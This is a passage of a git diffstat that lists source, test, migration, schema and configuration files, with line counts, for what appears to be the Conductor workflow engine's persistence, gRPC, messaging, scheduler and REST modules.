.../src/main/resources/template_task.json | 75 + .../src/main/resources/template_task_log.json | 22 + .../src/main/resources/template_workflow.json | 94 + .../config/ElasticSearchConditionsTest.java | 74 + .../config/ElasticSearchPropertiesTest.java | 76 + ...cSearchRestDAOV8ResourceExistenceTest.java | 157 + .../index/ElasticSearchRestDaoBaseTest.java | 78 + .../es8/dao/index/ElasticSearchTest.java | 74 + .../index/Es8BulkIngestionSupportTest.java | 80 + .../es8/dao/index/Es8SearchSupportTest.java | 88 + .../dao/index/TestElasticSearchRestDAOV8.java | 607 + .../TestElasticSearchRestDAOV8Batch.java | 81 + .../es8/dao/query/parser/TestExpression.java | 148 + .../query/parser/TestGroupedExpression.java | 24 + .../parser/TestNameValueQueryBuilder.java | 95 + .../parser/internal/AbstractParserTest.java | 27 + .../query/parser/internal/TestBooleanOp.java | 44 + .../parser/internal/TestComparisonOp.java | 44 + .../query/parser/internal/TestConstValue.java | 101 + .../dao/query/parser/internal/TestName.java | 33 + .../conductor/es8/utils/TestUtils.java | 76 + .../resources/expected_template_task_log.json | 24 + .../src/test/resources/task_summary.json | 17 + .../src/test/resources/workflow_summary.json | 12 + family.properties | 1 + gcs-storage/build.gradle | 7 + .../config/GcsFileStorageConfiguration.java | 67 + .../gcs/config/GcsFileStorageProperties.java | 47 + .../conductor/gcs/storage/GcsFileStorage.java | 98 + ...itional-spring-configuration-metadata.json | 19 + gradle.properties | 4 + gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 59536 bytes gradle/wrapper/gradle-wrapper.properties | 5 + gradlew | 249 + gradlew.bat | 92 + grpc-client/README.md | 5 + grpc-client/build.gradle | 29 + .../conductor/client/grpc/ClientBase.java | 60 + .../conductor/client/grpc/EventClient.java | 94 + .../conductor/client/grpc/MetadataClient.java | 140 + .../conductor/client/grpc/TaskClient.java | 225 + .../conductor/client/grpc/WorkflowClient.java | 368 + .../client/grpc/EventClientTest.java | 123 + .../conductor/client/grpc/TaskClientTest.java | 163 + .../client/grpc/WorkflowClientTest.java | 173 + .../org.mockito.plugins.MockMaker | 1 + grpc-server/build.gradle | 20 + .../conductor/grpc/server/GRPCServer.java | 52 + .../grpc/server/GRPCServerProperties.java | 41 + .../grpc/server/GrpcConfiguration.java | 40 + .../grpc/server/service/EventServiceImpl.java | 86 + .../grpc/server/service/GRPCHelper.java | 165 + .../server/service/HealthServiceImpl.java | 35 + .../server/service/MetadataServiceImpl.java | 152 + .../grpc/server/service/TaskServiceImpl.java | 293 + .../server/service/WorkflowServiceImpl.java | 392 + .../server/service/HealthServiceImplTest.java | 101 + .../server/service/TaskServiceImplTest.java | 242 + .../service/WorkflowServiceImplTest.java | 365 + .../src/test/resources/log4j.properties | 25 + grpc/build.gradle | 96 + .../conductor/grpc/AbstractProtoMapper.java | 1839 + .../netflix/conductor/grpc/ProtoMapper.java | 182 + grpc/src/main/proto/grpc/event_service.proto | 50 + .../main/proto/grpc/metadata_service.proto | 89 + grpc/src/main/proto/grpc/search.proto | 15 + grpc/src/main/proto/grpc/task_service.proto | 133 + .../main/proto/grpc/workflow_service.proto | 177 + grpc/src/main/proto/model/cacheconfig.proto | 12 + .../proto/model/dynamicforkjointask.proto | 16 + .../proto/model/dynamicforkjointasklist.proto | 12 + .../src/main/proto/model/eventexecution.proto | 26 + grpc/src/main/proto/model/eventhandler.proto | 59 + .../main/proto/model/executionmetadata.proto | 19 + grpc/src/main/proto/model/polldata.proto | 14 + .../main/proto/model/ratelimitconfig.proto | 17 + .../proto/model/rerunworkflowrequest.proto | 16 + grpc/src/main/proto/model/schemadef.proto | 18 + .../main/proto/model/skiptaskrequest.proto | 16 + .../proto/model/startworkflowrequest.proto | 21 + .../main/proto/model/statechangeevent.proto | 13 + .../main/proto/model/subworkflowparams.proto | 15 + grpc/src/main/proto/model/task.proto | 68 + grpc/src/main/proto/model/taskdef.proto | 45 + grpc/src/main/proto/model/taskexeclog.proto | 13 + grpc/src/main/proto/model/taskresult.proto | 28 + grpc/src/main/proto/model/tasksummary.proto | 31 + .../proto/model/upgradeworkflowrequest.proto | 15 + grpc/src/main/proto/model/workflow.proto | 43 + grpc/src/main/proto/model/workflowdef.proto | 43 + .../main/proto/model/workflowdefsummary.proto | 14 + .../main/proto/model/workflowsummary.proto | 34 + grpc/src/main/proto/model/workflowtask.proto | 54 + .../conductor/grpc/TestProtoMapper.java | 46 + hooks/pre-commit | 14 + http-task/build.gradle | 27 + .../conductor/tasks/http/HttpTask.java | 424 + .../DefaultRestTemplateProvider.java | 78 + .../http/providers/RestTemplateProvider.java | 24 + ...itional-spring-configuration-metadata.json | 14 + .../conductor/tasks/http/HttpTaskTest.java | 380 + .../tasks/http/HttpTaskUnitTest.java | 225 + .../DefaultRestTemplateProviderTest.java | 59 + json-jq-task/build.gradle | 21 + .../conductor/tasks/json/JsonJqTransform.java | 160 + .../tasks/json/JsonJqTransformTest.java | 193 + kafka-event-queue/README.md | 133 + kafka-event-queue/build.gradle | 44 + .../config/KafkaEventQueueConfiguration.java | 109 + .../config/KafkaEventQueueProperties.java | 186 + .../config/KafkaEventQueueProvider.java | 47 + .../eventqueue/KafkaObservableQueue.java | 653 + ...itional-spring-configuration-metadata.json | 27 + .../eventqueue/KafkaObservableQueueTest.java | 486 + kafka/README.md | 183 + kafka/build.gradle | 31 + .../tasks/kafka/KafkaProducerManager.java | 109 + .../tasks/kafka/KafkaPublishTask.java | 311 + .../mapper/KafkaPublishTaskMapper.java | 95 + .../integration/KafkaPublishTaskSpec.groovy | 174 + .../tasks/kafka/KafkaProducerManagerTest.java | 135 + .../tasks/kafka/KafkaPublishTaskTest.java | 223 + .../mapper/KafkaPublishTaskMapperTest.java | 122 + .../application-integrationtest.properties | 54 + kafka/src/test/resources/input.json | 0 kafka/src/test/resources/output.json | 424 + ...le_json_jq_transform_integration_test.json | 32 + licenseheader.txt | 12 + local-file-storage/build.gradle | 5 + .../config/LocalFileStorageConfiguration.java | 32 + .../config/LocalFileStorageProperties.java | 32 + .../local/storage/LocalFileStorage.java | 98 + ...itional-spring-configuration-metadata.json | 9 + .../local/storage/LocalFileStorageTest.java | 104 + main.py | 93 + mkdocs.yml | 198 + mysql-persistence/build.gradle | 42 + .../mysql/config/MySQLConfiguration.java | 140 + .../mysql/config/MySQLProperties.java | 42 + .../conductor/mysql/dao/MySQLBaseDAO.java | 256 + .../mysql/dao/MySQLExecutionDAO.java | 1086 + .../conductor/mysql/dao/MySQLMetadataDAO.java | 561 + .../conductor/mysql/dao/MySQLQueueDAO.java | 428 + .../conductor/mysql/util/ExecuteFunction.java | 26 + .../conductor/mysql/util/LazyToString.java | 33 + .../netflix/conductor/mysql/util/Query.java | 628 + .../conductor/mysql/util/QueryFunction.java | 26 + .../mysql/util/ResultSetHandler.java | 27 + .../mysql/util/TransactionalFunction.java | 27 + .../mysql/dao/MySQLFileMetadataDAO.java | 153 + .../mysql/dao/MySQLSkillMetadataDAO.java | 203 + .../mysql/dao/MySQLSkillPackageDAO.java | 81 + .../db/migration/V10__agentspan_skills.sql | 22 + .../db/migration/V1__initial_schema.sql | 172 + .../V2__queue_message_timestamps.sql | 2 + .../db/migration/V3__queue_add_priority.sql | 17 + .../V4__1009_Fix_MySQLExecutionDAO_Index.sql | 14 + .../db/migration/V5__correlation_id_index.sql | 13 + .../V6__new_qm_index_with_priority.sql | 13 + .../db/migration/V7__new_queue_message_pk.sql | 24 + .../resources/db/migration/V8__update_pk.sql | 103 + .../db/migration/V9__file_metadata.sql | 19 + .../mysql/dao/MySQLExecutionDAOTest.java | 81 + .../mysql/dao/MySQLMetadataDAOTest.java | 322 + .../mysql/dao/MySQLQueueDAOTest.java | 477 + .../grpc/mysql/MySQLGrpcEndToEndTest.java | 51 + .../src/test/resources/application.properties | 6 + nats-streaming/README.md | 46 + nats-streaming/build.gradle | 14 + .../queue/stan/NATSAbstractQueue.java | 301 + .../queue/stan/NATSObservableQueue.java | 114 + .../queue/stan/NATSStreamObservableQueue.java | 144 + .../queue/stan/config/NATSConfiguration.java | 32 + .../stan/config/NATSEventQueueProvider.java | 59 + .../stan/config/NATSStreamConfiguration.java | 84 + .../config/NATSStreamEventQueueProvider.java | 79 + .../stan/config/NATSStreamProperties.java | 76 + nats/build.gradle | 13 + .../queue/nats/JetStreamObservableQueue.java | 343 + .../contribs/queue/nats/JsmMessage.java | 30 + .../queue/nats/LoggingNatsErrorListener.java | 49 + .../queue/nats/NATSAbstractQueue.java | 301 + .../queue/nats/NATSObservableQueue.java | 114 + .../contribs/queue/nats/NatsException.java | 39 + .../nats/config/JetStreamConfiguration.java | 72 + .../config/JetStreamEventQueueProvider.java | 74 + .../nats/config/JetStreamProperties.java | 145 + .../queue/nats/config/NATSConfiguration.java | 32 + .../nats/config/NATSEventQueueProvider.java | 59 + .../nats/JetStreamObservableQueueTest.java | 525 + os-persistence-v2/README.md | 114 + os-persistence-v2/build.gradle | 55 + .../os2/config/OpenSearchConditions.java | 63 + .../os2/config/OpenSearchConfiguration.java | 118 + .../os2/config/OpenSearchProperties.java | 463 + .../dao/index/BulkRequestBuilderWrapper.java | 54 + .../os2/dao/index/BulkRequestWrapper.java | 51 + .../os2/dao/index/OpenSearchBaseDAO.java | 90 + .../os2/dao/index/OpenSearchRestDAO.java | 1347 + .../os2/dao/query/parser/Expression.java | 117 + .../os2/dao/query/parser/FilterProvider.java | 26 + .../dao/query/parser/GroupedExpression.java | 59 + .../os2/dao/query/parser/NameValue.java | 132 + .../query/parser/internal/AbstractNode.java | 178 + .../dao/query/parser/internal/BooleanOp.java | 57 + .../query/parser/internal/ComparisonOp.java | 102 + .../dao/query/parser/internal/ConstValue.java | 141 + .../internal/FunctionThrowingException.java | 22 + .../dao/query/parser/internal/ListConst.java | 70 + .../os2/dao/query/parser/internal/Name.java | 41 + .../parser/internal/ParserException.java | 28 + .../os2/dao/query/parser/internal/Range.java | 80 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../main/resources/mappings_docType_task.json | 66 + .../resources/mappings_docType_workflow.json | 77 + .../src/main/resources/template_event.json | 49 + .../src/main/resources/template_message.json | 29 + .../src/main/resources/template_task_log.json | 24 + .../os2/config/OpenSearchPropertiesTest.java | 471 + .../dao/index/OpenSearchRestDaoBaseTest.java | 74 + .../os2/dao/index/OpenSearchTest.java | 74 + .../index/TestBulkRequestBuilderWrapper.java | 50 + .../os2/dao/index/TestOpenSearchRestDAO.java | 523 + .../dao/index/TestOpenSearchRestDAOBatch.java | 81 + .../os2/dao/query/parser/TestExpression.java | 148 + .../query/parser/TestGroupedExpression.java | 24 + .../parser/internal/AbstractParserTest.java | 27 + .../query/parser/internal/TestBooleanOp.java | 44 + .../parser/internal/TestComparisonOp.java | 44 + .../query/parser/internal/TestConstValue.java | 101 + .../dao/query/parser/internal/TestName.java | 33 + .../conductor/os2/utils/TestUtils.java | 76 + .../resources/expected_template_task_log.json | 24 + .../src/test/resources/task_summary.json | 17 + .../src/test/resources/workflow_summary.json | 12 + os-persistence-v3/MIGRATION_GUIDE.md | 421 + os-persistence-v3/MIGRATION_PLAN.md | 294 + os-persistence-v3/README.md | 105 + os-persistence-v3/build.gradle | 61 + .../os3/config/OpenSearchConditions.java | 63 + .../os3/config/OpenSearchConfiguration.java | 137 + .../os3/config/OpenSearchProperties.java | 461 + .../os3/dao/index/OpenSearchBaseDAO.java | 111 + .../os3/dao/index/OpenSearchRestDAO.java | 1427 + .../conductor/os3/dao/index/QueryHelper.java | 183 + .../os3/dao/query/parser/Expression.java | 120 + .../os3/dao/query/parser/FilterProvider.java | 26 + .../dao/query/parser/GroupedExpression.java | 59 + .../os3/dao/query/parser/NameValue.java | 211 + .../query/parser/internal/AbstractNode.java | 178 + .../dao/query/parser/internal/BooleanOp.java | 57 + .../query/parser/internal/ComparisonOp.java | 102 + .../dao/query/parser/internal/ConstValue.java | 141 + .../internal/FunctionThrowingException.java | 22 + .../dao/query/parser/internal/ListConst.java | 70 + .../os3/dao/query/parser/internal/Name.java | 41 + .../parser/internal/ParserException.java | 28 + .../os3/dao/query/parser/internal/Range.java | 80 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../main/resources/mappings_docType_task.json | 66 + .../resources/mappings_docType_workflow.json | 82 + .../src/main/resources/template_event.json | 49 + .../src/main/resources/template_message.json | 29 + .../src/main/resources/template_task_log.json | 24 + .../OpenSearchModuleActivationTest.java.bak | 274 + .../OpenSearchModuleActivationTest.java.bak2 | 279 + .../os3/config/OpenSearchPropertiesTest.java | 474 + .../dao/index/OpenSearchRestDaoBaseTest.java | 85 + .../os3/dao/index/OpenSearchTest.java | 74 + .../conductor/os3/dao/index/QuickV3Test.java | 99 + .../os3/dao/index/TestOpenSearchRestDAO.java | 523 + .../dao/index/TestOpenSearchRestDAOBatch.java | 81 + .../os3/dao/query/parser/TestExpression.java | 148 + .../query/parser/TestGroupedExpression.java | 24 + .../parser/internal/AbstractParserTest.java | 27 + .../query/parser/internal/TestBooleanOp.java | 44 + .../parser/internal/TestComparisonOp.java | 44 + .../query/parser/internal/TestConstValue.java | 101 + .../dao/query/parser/internal/TestName.java | 33 + .../conductor/os3/utils/TestUtils.java | 76 + .../resources/expected_template_task_log.json | 24 + .../src/test/resources/task_summary.json | 17 + .../src/test/resources/workflow_summary.json | 12 + os-persistence/README.md | 58 + os-persistence/build.gradle | 6 + .../OpenSearchDeprecationConfiguration.java | 86 + .../os/config/OpenSearchDeprecationTest.java | 172 + polyglot-clients/README.md | 16 + postgres-external-storage/README.md | 24 + postgres-external-storage/build.gradle | 20 + .../config/PostgresPayloadConfiguration.java | 84 + .../config/PostgresPayloadProperties.java | 134 + .../ExternalPostgresPayloadResource.java | 57 + .../storage/PostgresPayloadStorage.java | 164 + .../R__initial_schema.sql | 56 + .../ExternalPostgresPayloadResourceTest.java | 59 + .../storage/PostgresPayloadStorageTest.java | 300 + .../storage/PostgresPayloadTestUtil.java | 74 + postgres-persistence/build.gradle | 39 + .../config/PostgresConfiguration.java | 211 + .../postgres/config/PostgresProperties.java | 160 + .../postgres/dao/PostgresBaseDAO.java | 256 + .../postgres/dao/PostgresExecutionDAO.java | 1032 + .../postgres/dao/PostgresIndexDAO.java | 386 + .../postgres/dao/PostgresLockDAO.java | 137 + .../postgres/dao/PostgresMetadataDAO.java | 616 + .../postgres/dao/PostgresPollDataDAO.java | 229 + .../postgres/dao/PostgresQueueDAO.java | 545 + .../postgres/util/ExecuteFunction.java | 26 + .../postgres/util/ExecutorsUtil.java | 37 + .../conductor/postgres/util/LazyToString.java | 33 + .../util/PostgresIndexQueryBuilder.java | 284 + .../postgres/util/PostgresQueueListener.java | 230 + .../conductor/postgres/util/Query.java | 655 + .../postgres/util/QueryFunction.java | 26 + .../conductor/postgres/util/QueueStats.java | 39 + .../postgres/util/ResultSetHandler.java | 27 + .../postgres/util/TransactionalFunction.java | 27 + .../postgres/dao/PostgresFileMetadataDAO.java | 153 + .../dao/PostgresSkillMetadataDAO.java | 205 + .../postgres/dao/PostgresSkillPackageDAO.java | 81 + .../V10__poll_data_check.sql | 13 + .../db/migration_postgres/V11__locking.sql | 4 + .../V12__task_index_columns.sql | 5 + .../V13.1__workflow_index_columns.sql | 6 + .../V14__parent_workflow_id.sql | 2 + .../migration_postgres/V15__file_metadata.sql | 18 + .../V16__agentspan_skills.sql | 21 + .../V17__workflow_index_classifier.sql | 6 + .../migration_postgres/V1__initial_schema.sql | 173 + ...2__1009_Fix_PostgresExecutionDAO_Index.sql | 3 + .../V3__correlation_id_index.sql | 3 + .../V4__new_qm_index_with_priority.sql | 3 + .../V5__new_queue_message_pk.sql | 11 + .../db/migration_postgres/V6__update_pk.sql | 77 + .../V7__new_qm_index_desc_priority.sql | 3 + .../db/migration_postgres/V8__indexing.sql | 47 + .../V9__indexing_index_fix.sql | 12 + ...2__workflow_index_backfill_update_time.sql | 4 + .../V10.1__notify.sql | 59 + ...ostgresConfigurationDataMigrationTest.java | 81 + .../dao/PostgresExecutionDAOTest.java | 114 + .../PostgresIndexDAOStatusChangeOnlyTest.java | 184 + .../postgres/dao/PostgresIndexDAOTest.java | 739 + .../postgres/dao/PostgresLockDAOTest.java | 277 + .../postgres/dao/PostgresMetadataDAOTest.java | 380 + .../dao/PostgresPollDataDAOCacheTest.java | 154 + .../dao/PostgresPollDataDAONoCacheTest.java | 229 + .../postgres/dao/PostgresQueueDAOTest.java | 611 + .../postgres/performance/PerformanceTest.java | 454 + .../util/PostgresIndexQueryBuilderTest.java | 708 + .../util/PostgresQueueListenerTest.java | 202 + .../postgres/PostgresGrpcEndToEndTest.java | 54 + .../src/test/resources/application.properties | 7 + redis-api/build.gradle | 3 + .../conductor/redis/jedis/JedisCommands.java | 145 + .../redis/jedis/UnifiedJedisCommands.java | 336 + redis-concurrency-limit/build.gradle | 22 + .../RedisConcurrentExecutionLimitDAO.java | 173 + ...ConcurrentExecutionLimitConfiguration.java | 70 + ...disConcurrentExecutionLimitProperties.java | 94 + ...edisConcurrentExecutionLimitDAOSpec.groovy | 172 + redis-configuration/README.md | 124 + redis-configuration/build.gradle | 27 + .../redis/config/AnyRedisCondition.java | 35 + .../config/AnyRedisConnectionCondition.java | 58 + .../config/ConfigurationHostSupplier.java | 83 + .../config/InMemoryRedisConfiguration.java | 30 + .../redis/config/RedisClusterCondition.java | 34 + .../config/RedisClusterConfiguration.java | 129 + .../redis/config/RedisConfiguration.java | 81 + .../redis/config/RedisProperties.java | 430 + .../redis/config/RedisSentinelCondition.java | 34 + .../config/RedisSentinelConfiguration.java | 152 + .../config/RedisStandaloneCondition.java | 34 + .../config/RedisStandaloneConfiguration.java | 106 + .../redis/jedis/InMemoryJedisCommands.java | 597 + .../redis/jedis/JedisClusterCommands.java | 397 + .../conductor/redis/jedis/JedisProxy.java | 412 + .../redis/jedis/JedisStandalone.java | 346 + .../redis/jedis/RetryingJedisCommands.java | 121 + .../com/netflix/dyno/connectionpool/Host.java | 230 + .../dyno/connectionpool/HostBuilder.java | 93 + .../dyno/connectionpool/HostSupplier.java | 20 + .../redis/config/RedisConfigurationTest.java | 119 + .../config/RedisConnectionConditionTest.java | 82 + .../redis/config/RedisPropertiesTest.java | 187 + .../RedisSentinelConfigurationTest.java | 68 + .../RedisStandaloneConfigurationTest.java | 110 + .../jedis/ConfigurationHostSupplierTest.java | 89 + .../jedis/JedisClusterCommandsBatchTest.java | 226 + .../jedis/JedisCommandsIntegrationTest.java | 555 + .../jedis/JedisProxyIntegrationTest.java | 490 + .../jedis/RetryingJedisCommandsTest.java | 157 + .../redis/testutil/FixedPortContainer.java | 29 + .../dyno/connectionpool/HostBuilderTest.java | 288 + redis-lock/build.gradle | 10 + .../config/RedisHealthIndicator.java | 59 + .../config/RedisLockConfiguration.java | 113 + .../redislock/config/RedisLockProperties.java | 173 + .../conductor/redislock/lock/RedisLock.java | 108 + ...itional-spring-configuration-metadata.json | 30 + .../conductor/redis/lock/RedisLockTest.java | 232 + .../config/RedisHealthIndicatorTest.java | 111 + redis-persistence/build.gradle | 32 + ...edisWorkflowMessageQueueConfiguration.java | 54 + .../conductor/redis/dao/BaseDynoDAO.java | 107 + .../redis/dao/RedisEventHandlerDAO.java | 153 + .../redis/dao/RedisExecutionDAO.java | 783 + .../redis/dao/RedisFileMetadataDAO.java | 118 + .../conductor/redis/dao/RedisMetadataDAO.java | 381 + .../conductor/redis/dao/RedisPollDataDAO.java | 100 + .../redis/dao/RedisRateLimitingDAO.java | 148 + .../redis/dao/RedisSkillMetadataDAO.java | 156 + .../redis/dao/RedisSkillPackageDAO.java | 68 + .../dao/RedisWorkflowMessageQueueDAO.java | 99 + .../conductor/mq/dao/BaseRedisQueueDAO.java | 291 + .../mq/dao/ClusteredRedisQueueDAO.java | 46 + .../orkes/conductor/mq/dao/RedisQueueDAO.java | 46 + .../redis/config/RedisQueueConfiguration.java | 62 + .../conductor/redis/dao/BaseDynoDAOTest.java | 63 + .../redis/dao/RedisEventHandlerDAOTest.java | 255 + .../redis/dao/RedisExecutionDAOTest.java | 434 + .../redis/dao/RedisMetadataDAOTest.java | 420 + .../redis/dao/RedisPollDataDAOTest.java | 161 + .../redis/dao/RedisRateLimitDAOTest.java | 217 + .../dao/RedisWorkflowMessageQueueDAOTest.java | 121 + requirements.txt | 3 + rest/build.gradle | 13 + .../rest/config/RequestMappingConstants.java | 30 + .../rest/controllers/AdminResource.java | 79 + .../ApplicationExceptionMapper.java | 99 + .../rest/controllers/EnvironmentResource.java | 51 + .../rest/controllers/EventResource.java | 76 + .../rest/controllers/HealthCheckResource.java | 32 + .../rest/controllers/MetadataResource.java | 176 + .../rest/controllers/QueueAdminResource.java | 74 + .../rest/controllers/SecretResource.java | 43 + .../rest/controllers/TaskResource.java | 255 + .../ValidationExceptionMapper.java | 148 + .../controllers/WorkflowBulkResource.java | 159 + .../WorkflowMessageQueueResource.java | 147 + .../rest/controllers/WorkflowResource.java | 576 + .../rest/startup/KitchenSinkInitializer.java | 139 + .../conductor/RestConfiguration.java | 77 + .../conductor/SpaInterceptor.java | 75 + .../conductor/controllers/FileResource.java | 97 + .../controllers/VersionResource.java | 40 + ...k-ephemeralWorkflowWithEphemeralTasks.json | 258 + ...Sink-ephemeralWorkflowWithStoredTasks.json | 163 + .../resources/kitchensink/kitchensink.json | 157 + .../resources/kitchensink/sub_flow_1.json | 21 + rest/src/main/resources/kitchensink/wf1.json | 372 + rest/src/main/resources/kitchensink/wf2.json | 91 + rest/src/main/resources/static/favicon.ico | Bin 0 -> 16958 bytes rest/src/main/resources/static/index.html | 60 + rest/src/main/resources/static/logo.png | Bin 0 -> 22312 bytes .../rest/controllers/AdminResourceTest.java | 79 + .../ApplicationExceptionMapperTest.java | 133 + .../controllers/EnvironmentResourceTest.java | 50 + .../rest/controllers/EventResourceTest.java | 86 + .../controllers/MetadataResourceTest.java | 250 + .../rest/controllers/SecretResourceTest.java | 43 + .../rest/controllers/TaskResourceTest.java | 230 + .../controllers/WorkflowResourceTest.java | 1119 + .../conductor/SpaInterceptorTest.java | 47 + .../rest/controllers/FileResourceTest.java | 129 + scheduler/cassandra-persistence/build.gradle | 23 + .../CassandraSchedulerConfiguration.java | 51 + .../dao/CassandraSchedulerArchivalDAO.java | 443 + .../cassandra/dao/CassandraSchedulerDAO.java | 546 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + ...ssandraSchedulerAutoConfigurationTest.java | 117 + .../CassandraSchedulerArchivalDAOTest.java | 280 + .../dao/CassandraSchedulerDAOTest.java | 444 + scheduler/core/build.gradle | 41 + .../dao/archive/SchedulerArchivalDAO.java | 34 + .../dao/archive/SchedulerSearchQuery.java | 181 + .../dao/scheduler/CachingSchedulerDAO.java | 128 + .../dao/scheduler/NoOpSchedulerCacheDAO.java | 46 + .../dao/scheduler/SchedulerCacheDAO.java | 30 + .../conductor/dao/scheduler/SchedulerDAO.java | 58 + .../orkes/conductor/health/RedisMonitor.java | 22 + .../scheduler/config/SchedulerConditions.java | 30 + .../config/SchedulerOssConfiguration.java | 98 + .../scheduler/config/SchedulerProperties.java | 48 + .../listener/ScheduleChangeListener.java | 29 + .../listener/ScheduleChangeListenerStub.java | 49 + .../scheduler/model/CronSchedule.java | 35 + .../scheduler/model/NextScheduleResult.java | 35 + .../scheduler/model/WorkflowSchedule.java | 109 + .../model/WorkflowScheduleExecutionModel.java | 49 + .../model/WorkflowScheduleModel.java | 37 + .../scheduler/rest/SchedulerBulkResource.java | 60 + .../scheduler/rest/SchedulerResource.java | 198 + .../service/SchedulerBulkService.java | 44 + .../service/SchedulerBulkServiceImpl.java | 107 + .../scheduler/service/SchedulerException.java | 26 + .../scheduler/service/SchedulerService.java | 1222 + .../service/SchedulerServiceExecutor.java | 32 + .../service/SchedulerServiceExecutorImpl.java | 18 + .../service/SchedulerTimeProvider.java | 27 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../service/InMemorySchedulerDAO.java | 153 + .../service/SchedulerBulkServiceTest.java | 469 + .../service/SchedulerServiceTest.java | 1540 + ...ctSchedulerAutoConfigurationSmokeTest.java | 119 + .../dao/AbstractSchedulerArchivalDAOTest.java | 449 + .../dao/AbstractSchedulerDAOTest.java | 598 + ...stractSchedulerServiceIntegrationTest.java | 351 + .../scheduler/service/MockExecutor.java | 29 + .../service/MockExecutorService.java | 115 + .../scheduler/service/MockQueueDao.java | 168 + scheduler/examples/README.md | 374 + .../examples/bounded-schedule-template.json | 13 + scheduler/examples/bounded-workflow.json | 28 + scheduler/examples/catchup-schedule.json | 12 + scheduler/examples/catchup-workflow.json | 28 + scheduler/examples/concurrent-schedule.json | 11 + scheduler/examples/concurrent-workflow.json | 50 + scheduler/examples/daily-report-schedule.json | 15 + scheduler/examples/daily-report-workflow.json | 29 + scheduler/examples/dowhile-schedule.json | 11 + scheduler/examples/dowhile-workflow.json | 51 + scheduler/examples/every-minute-schedule.json | 13 + scheduler/examples/input-param-schedule.json | 14 + scheduler/examples/input-param-workflow.json | 29 + scheduler/examples/multistep-schedule.json | 11 + scheduler/examples/multistep-workflow.json | 59 + scheduler/examples/retry-schedule.json | 11 + scheduler/examples/retry-workflow.json | 30 + scheduler/examples/seed.sh | 32 + scheduler/mysql-persistence/build.gradle | 29 + .../config/MySQLSchedulerConfiguration.java | 68 + .../mysql/dao/MySQLSchedulerArchivalDAO.java | 308 + .../mysql/dao/MySQLSchedulerDAO.java | 288 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../V1__scheduler_tables.sql | 47 + .../V2__scheduler_next_run_table.sql | 13 + ...QLSchedulerAutoConfigurationSmokeTest.java | 53 + .../dao/MySQLSchedulerArchivalDAOTest.java | 109 + .../mysql/dao/MySQLSchedulerDAOTest.java | 106 + .../MySQLSchedulerServiceIntegrationTest.java | 105 + .../src/test/resources/application.properties | 2 + scheduler/postgres-persistence/build.gradle | 29 + .../PostgresSchedulerConfiguration.java | 73 + .../dao/PostgresSchedulerArchivalDAO.java | 287 + .../postgres/dao/PostgresSchedulerDAO.java | 275 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../V1__scheduler_tables.sql | 56 + .../V2__scheduler_next_run_table.sql | 13 + ...esSchedulerAutoConfigurationSmokeTest.java | 53 + .../dao/PostgresSchedulerArchivalDAOTest.java | 109 + .../dao/PostgresSchedulerDAOTest.java | 106 + ...stgresSchedulerServiceIntegrationTest.java | 106 + .../src/test/resources/application.properties | 2 + scheduler/redis-persistence/build.gradle | 24 + .../config/RedisSchedulerConfiguration.java | 81 + .../redis/dao/RedisSchedulerArchivalDAO.java | 296 + .../redis/dao/RedisSchedulerCacheDAO.java | 90 + .../redis/dao/RedisSchedulerDAO.java | 336 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../RedisSchedulerAutoConfigurationTest.java | 156 + .../dao/RedisSchedulerArchivalDAOTest.java | 323 + .../redis/dao/RedisSchedulerDAOTest.java | 515 + scheduler/sqlite-persistence/build.gradle | 22 + .../config/SqliteSchedulerConfiguration.java | 66 + .../dao/SqliteSchedulerArchivalDAO.java | 273 + .../sqlite/dao/SqliteSchedulerDAO.java | 248 + ...ot.autoconfigure.AutoConfiguration.imports | 1 + .../V1__scheduler_tables.sql | 56 + .../V2__scheduler_next_run_table.sql | 13 + .../dao/SqliteSchedulerArchivalDAOTest.java | 96 + schemas/README.md | 227 + schemas/Task.json | 378 + schemas/TaskDef.json | 210 + schemas/Workflow.json | 436 + schemas/WorkflowDef.json | 595 + scripts/fetch-sdk-docs.py | 300 + serve-docs.sh | 10 + server/build.gradle | 143 + .../java/com/netflix/conductor/Conductor.java | 126 + .../server/AgentSpanUiContextController.java | 81 + .../AzureMonitorMetricsConfiguration.java | 51 + .../CloudWatchMetricsConfiguration.java | 52 + .../config/LoggingMetricsConfiguration.java | 39 + ...itional-spring-configuration-metadata.json | 183 + .../src/main/resources/application.properties | 282 + server/src/main/resources/banner.txt | 7 + server/src/main/resources/log4j2.xml | 31 + .../config/ConductorObjectMapperTest.java | 103 + settings.gradle | 89 + springboot-bom-overrides.gradle | 39 + sqlite-persistence/build.gradle | 38 + .../sqlite/config/SqliteConfiguration.java | 294 + .../sqlite/config/SqliteProperties.java | 60 + .../conductor/sqlite/dao/SqliteBaseDAO.java | 206 + .../sqlite/dao/SqliteExecutionDAO.java | 1032 + .../conductor/sqlite/dao/SqliteIndexDAO.java | 428 + .../sqlite/dao/SqlitePollDataDAO.java | 133 + .../conductor/sqlite/dao/SqliteQueueDAO.java | 508 + .../SqliteEventHandlerMetadataDAO.java | 151 + .../dao/metadata/SqliteMetadataDAO.java | 129 + .../dao/metadata/SqliteTaskMetadataDAO.java | 118 + .../metadata/SqliteWorkflowMetadataDAO.java | 229 + .../sqlite/util/ExecuteFunction.java | 26 + .../conductor/sqlite/util/ExecutorsUtil.java | 37 + .../conductor/sqlite/util/LazyToString.java | 33 + .../netflix/conductor/sqlite/util/Query.java | 648 + .../conductor/sqlite/util/QueryFunction.java | 26 + .../conductor/sqlite/util/QueueStats.java | 39 + .../sqlite/util/ResultSetHandler.java | 27 + .../sqlite/util/SqliteIndexQueryBuilder.java | 297 + .../sqlite/util/TransactionalFunction.java | 27 + .../sqlite/dao/SqliteFileMetadataDAO.java | 152 + .../sqlite/dao/SqliteSkillMetadataDAO.java | 205 + .../sqlite/dao/SqliteSkillPackageDAO.java | 81 + .../migration_sqlite/V1__initial_schema.sql | 187 + .../V2__parent_workflow_id.sql | 2 + .../db/migration_sqlite/V3__file_metadata.sql | 18 + .../migration_sqlite/V4__agentspan_skills.sql | 21 + .../V5__workflow_index_classifier.sql | 6 + .../sqlite/dao/SqliteExecutionDAOTest.java | 114 + .../sqlite/dao/SqliteIndexDAOTest.java | 863 + .../sqlite/dao/SqliteMetadataDAOTest.java | 318 + 